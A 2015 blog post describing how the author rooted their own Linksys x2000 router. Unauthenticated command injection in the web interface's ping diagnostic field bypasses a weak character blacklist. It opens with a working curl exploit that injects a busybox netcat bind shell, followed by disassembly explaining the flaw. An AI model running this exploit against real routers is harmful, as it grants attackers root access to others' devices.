Sunday, 1 November 2015

Rooting the Cisco Linksys x2000 router: system() strikes again

This appears to be a security vulnerability, even a remote one if you have remote management active, because you don't need authentication to access the URL. I will leave the post as is, with the wrong info that you need your web admin account/password.


While related (for the same code quality of the firmware in question) to the flaw exploited by the "The Moon" malware, this is a different issue. More at the end of the post.

Open a shell, run these commands:

#fixup for your particular setup
#activate the shell
curl -s --basic -u "$user:$password" \
  --data submit_button=Diagnostics \
  --data change_action=gozila_cgi \
  --data submit_type=start_ping \
  --data action= \
  --data commit=0 \
  --data nowait=1 \
  --data ping_size=32 \
  --data ping_times=5 \
  --data-urlencode ping_ip=$'\nbusybox\tnc\t-e\t/bin/sh\t-l\t-p\t1234' $router_ip/apply.cgi >/dev/null &
#access the shell
nc $router_ip 1234

Do remember to finish your nc session with exit, or the web interface may get stuck.

Long story

My router is a Linksys x2000. The other day I grabbed the firmware from the producer website and unpacked the root file system it with a certain amount of manual fiddling, aided by binwalk and firmware-mod-kit and the information in the OpenWrt wiki.

The software that my router is running isn't particularly interesting, except for the usual weirdness of embedded low-cost appliances. The system is built on BusyBox, which acts as init as well. System initialization is done in /etc/profile, which loads a bunch of modules and starts program smd. I am not sure what this program does, but eventually it also starts /bin/httpd. This program manages the web interface. Web pages are some sort of Asp. I'm not sure if this is the standard for Asp web applications, but the pages seem to access native functions and data by calling native code that is compiled directly into the /bin/httpd executable.

So my original idea was to modify the root file system and inject some code in some script that would open a remote shell for me, and flash it on the device. However, the web interface has a "Diagnostic" page where you can ping arbitrary addresses:

I guessed that the web interface eventually calls the ping program, because nobody really knows how to write a program that sends ICMP packets, and that, given the generic sloppiness of firmwares, the string that one inputs in the IP field isn't properly sanitized.

This guess can be easily tested by inputing strings with spaces or other special shell characters. The first one that revealed interesting output is `echo`. Such "address" outputs this:

So indeed ` is not stripped, which means that most probably /bin/httpd appends `echo` to ping, and runs it as a shell command, probably through system(). However, commands that contain spaces or ; are truncated. strings /bin/httpd also shows a confirming hint: "/bin/ping -f -c %u -s %u %s > /tmp/ping_log 2>&1 &"

Now peeking at the disassembly of /bin/httpd, here is where the IP string is loaded and sanitized:

 LOAD:00420D9C         la   $a1, 0x490000  
 LOAD:00420DA0         la   $t9, cgiGetValueByNameSafe  
 LOAD:00420DA4         addiu  $s1, $sp, 0x238+var_198  
 LOAD:00420DA8         addiu  $a1, (aPing_ip - 0x490000) # "ping_ip"  
 LOAD:00420DAC         move  $a2, $zero  
 LOAD:00420DB0         move  $a3, $s1  
 LOAD:00420DB4         move  $a0, $s4  
 LOAD:00420DB8         jalr  $t9 ; cgiGetValueByNameSafe  
 LOAD:00420DBC         sw   $s3, 0x238+var_228($sp)  
 LOAD:00420DC0         lw   $gp, 0x238+var_220($sp)  
 LOAD:00420DC4         move  $a0, $s1  
 LOAD:00420DC8         la   $t9, strchr  
 LOAD:00420DCC         jalr  $t9 ; strchr  
 LOAD:00420DD0         li   $a1, 0x20  
 LOAD:00420DD4         beqz  $v0, loc_420DE0  
 LOAD:00420DD8         lw   $gp, 0x238+var_220($sp)  
 LOAD:00420DDC         sb   $zero, 0($v0)  
 LOAD:00420DE0 loc_420DE0:               # CODE XREF: do_arc_Diagnostics+AC↑j  
 LOAD:00420DE0         la   $t9, strchr  
 LOAD:00420DE4         move  $a0, $s1  
 LOAD:00420DE8         jalr  $t9 ; strchr  
 LOAD:00420DEC         li   $a1, 0x3B  
 LOAD:00420DF0         beqz  $v0, loc_420DFC  
 LOAD:00420DF4         lw   $gp, 0x238+var_220($sp)  
 LOAD:00420DF8         sb   $zero, 0($v0)  
 LOAD:00420DFC loc_420DFC:               # CODE XREF: do_arc_Diagnostics+C8↑j  
 LOAD:00420DFC         la   $t9, strchr  
 LOAD:00420E00         move  $a0, $s1  
 LOAD:00420E04         jalr  $t9 ; strchr  
 LOAD:00420E08         li   $a1, 0x3C  
 LOAD:00420E0C         beqz  $v0, loc_420E18  
 LOAD:00420E10         lw   $gp, 0x238+var_220($sp)  
 LOAD:00420E14         sb   $zero, 0($v0)  
 LOAD:00420E18 loc_420E18:               # CODE XREF: do_arc_Diagnostics+E4↑j  
 LOAD:00420E18         la   $t9, strchr  
 LOAD:00420E1C         move  $a0, $s1  
 LOAD:00420E20         jalr  $t9 ; strchr  
 LOAD:00420E24         li   $a1, 0x3E  
 LOAD:00420E28         beqz  $v0, loc_420E34  
 LOAD:00420E2C         lw   $gp, 0x238+var_220($sp)  
 LOAD:00420E30         sb   $zero, 0($v0)  

So the string is loaded, and then it is truncated at the first occurrence of any of " ;<>". This is a extraordinarily bad way to sanitize a shell argument, because spaces can usually be replaced with tabs, and semicolons for commands separation with new lines. Redirection can be emulated as well with eval I suppose, but I didn't test that.

The command at the top of this post effectively runs these commands on the router:

/bin/ping -f -c 5 -s 32
busybox nc -e /bin/sh -l -p 1234 > /tmp/ping_log 2>&1 &

And this effectively gives you a root access.

Relationship with "The Moon" malware

Looking at the actions take by "The Moon", it seems to me that in recent firmwares (I have the latest for my device) the upstream has "fixed" the issue by just disallowing some characters, but not solving the issue at the root. I would like to hear out from anyone who has some knowledge about vulnerable versions of Linksys firmwares if the function that I analyzed in this post did not have this characters blacklisting, which would confirm my guess.